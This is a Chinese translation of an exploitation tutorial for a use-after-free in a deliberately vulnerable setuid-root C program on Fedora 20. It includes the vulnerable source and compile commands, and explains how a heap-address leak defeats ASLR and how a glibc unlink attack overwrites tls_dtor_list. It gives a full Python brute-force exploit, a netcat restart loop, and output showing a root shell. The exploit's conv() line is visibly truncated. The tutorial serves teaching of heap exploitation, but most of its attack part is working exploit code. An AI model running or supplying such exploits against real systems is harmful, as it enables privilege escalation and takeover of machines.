释放后使用
译者:飞龙
预备条件:
VM 配置:Fedora 20(x86)
什么是释放后使用(UAF)?
继续使用已经被释放的堆内存指针叫做释放后使用。这个漏洞会导致任意代码执行。
漏洞代码:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
编译命令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:不像上一篇文章,ASLR 在这里是打开的。所以现在让我们利用 UAF 漏洞,因为 ASLR 打开了,让我们使用信息泄露和爆破技巧来绕过它。
上面的漏洞代码包含两个 UAF 漏洞,位于行[6]
和[13]
。它们的堆内存在行[5]
和[10]
释放,但是它们的指针即使在释放后也使用,在行[6]
和[13]
。行[6]
的UAF 会导致信息泄露,而行[13]
的 UAF 导致任意代码执行。
什么是信息泄露?攻击者如何利用它?
在我们的漏洞代码(行[6]
)中,被泄露的信息是堆地址。这个泄露的对地址会帮助攻击者轻易计算出随机化堆段的基地址,因此绕过 ASLR。
为了理解堆地址如何泄露的,让我们首先理解漏洞代码的前半部分。
- 行
[1]
为name
分配了 16 字节的堆内存区域。 - 行
[2]
位details
分配了 16 字节的堆内存区域。 - 行
[3]
将程序的参数 1(argv[1]
)复制到堆内存区域name
中。 - 行
[4]
和[5]
将堆内存区域name
和details
释放给 glibc malloc。 - 行
[6]
的printf
在释放后使用name
指针,这会导致堆地址的泄露。
阅读预备条件中的文章之后,我们知道,对应name
和details
指针的块都是 fast 块,并且,当这些 fast 块被释放时,它们储存在 fast bin 的下标 0 处。我们也知道,每个 fast bin 都包含一个空闲块的单链表。因此对于我们的示例来说,fast bin 下标 0 处的单链表是这样:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
由于这个单链表。name
的前四个字节包含details_chunk
地址,因此在打印name
时,details_chunk
地址首先被打印。我们可以从堆布局中知道,details_chunk
位于堆基址的 0x10 偏移处。因此从泄露的堆地址减去 0x10,我们就得到了堆的基址。
如何实现任意代码执行?
现在获得随机化堆段的基址之后,让我们看看如何通过理解漏洞代码的后半部分,来实现任意代码执行。
- 行
[7]
为tmp
分配了 16 字节的堆内存区域。 - 行
[8]
为p1
分配了 1024 字节的堆内存区域。 - 行
[9]
为p2
分配了 1024 字节的堆内存区域。 - 行
[10]
将堆内存区域p2
释放给 glibc malloc。 - 行
[11]
为p2_1
分配了 512 字节的堆内存区域。 - 行
[12]
为p2_2
分配了 512 字节的堆内存区域。 - 行
[13]
的读取在释放后使用了p2
指针。 - 行
[14]
将堆内存区域p1
释放给 glibc malloc。这会在程序退出时导致任意代码执行。
阅读预备条件中的文章之后,我们知道,当p2
释放给 glibc malloc 时,它会和 top 块合并。之后为p2_1
请求内存时,它会从 top 块分配 -- p2
和p2_1
包含相同的堆地址。之后为p2_2
请求内存时,它也从 top 块分配 -- p2_2
是p2
之后的 512 个字节。因此在行[13]
中,p2
指针在释放后使用时,攻击者控制的数据(最大 1019 字节)会复制到p2_1
,它的大小只有 512 字节,因此剩余的攻击者数据会覆盖下一个块p2_2
,允许攻击者覆盖下一个块头部的size
字段。
堆布局:
我们在预备条件中的文章中看到,如果攻击者成功覆盖了下一个块的size
字段的 LSB,它就可以欺骗 glibc malloc 来 unlink 块p2_1
,即使它处于分配状态。在相同文章中,我们也看到,当攻击者精心构造伪造的块头部时,unlink 一个处于已分配状态的 large 块会导致任意代码执行。攻击者可以像这样构造伪造的块头部:
fd
应该指向释放的块地址。从堆的布局中我们可以看到,p2_1
位于偏移 0x410。所以fd = heap_base_address + 0x410
,heap_base_address
从信息泄露的 bug 中获取。bk
也应该指向释放的块地址。从堆的布局中我们可以看到,p2_1
位于偏移 0x410。所以fd = heap_base_address + 0x410
,heap_base_address
从信息泄露的 bug 中获取。fd_nextsize
应该指向tls_dtor_list – 0x14
。tls_dtor_list
属于 glibc 的私有匿名映射区段,它是随机化的。因此为了绕过这个随机化,让我们使用爆破技巧,就像下面的利用代码那样。bk_nextsize
应该指向堆内存,该内存包含dtor_list
元素。system
的dtor_list
由攻击者注入在这个伪造的块头部后面,而setuid
的dtor_list
由攻击者注入在p2_2
堆内存区域内。从堆布局中我们了解到,system
和setuid
的dtor_list
位于偏移 0x428 和 0x618 处。
使用所有这些信息,让我们编写利用程序来攻击漏洞二进制vuln
:
利用代码:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
由于在爆破技巧中,我们需要尝试多次(直到成功)。让我们将我们的漏洞二进制vuln
运行为网络服务器,并使用 Shell 教程来确保崩溃时自动重启:
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
执行上述利用代码会给我们 root shell。好的。
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
参考:
Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution